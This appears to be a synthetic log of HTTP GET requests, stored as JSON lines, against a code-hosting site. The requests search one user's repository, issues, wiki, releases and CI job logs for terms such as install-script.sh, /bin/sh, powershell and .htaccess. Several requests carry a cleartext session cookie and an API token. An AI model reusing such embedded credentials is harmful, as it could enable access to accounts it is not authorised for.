{"method": "GET", "target": "/alice?tab=repositories&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=docker-compose.yml&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/search?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/repos?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/code?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/issues?type=your_repositories&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/branches?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/users?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/organizations?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice?tab=repositories&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=install-script.sh&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/search?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/code?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/issues?type=your_repositories&q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=%2Fbin%2Fsh&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/search?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/repos?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/code?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/issues?type=your_repositories&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/branches?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/users?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/organizations?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice?tab=repositories&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=release%20notes&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/search?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=python3&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=python3&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/releases?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=powershell&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=powershell&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/releases?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=ls%20-la&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=ls%20-la&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/releases?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=.htaccess&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=.htaccess&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
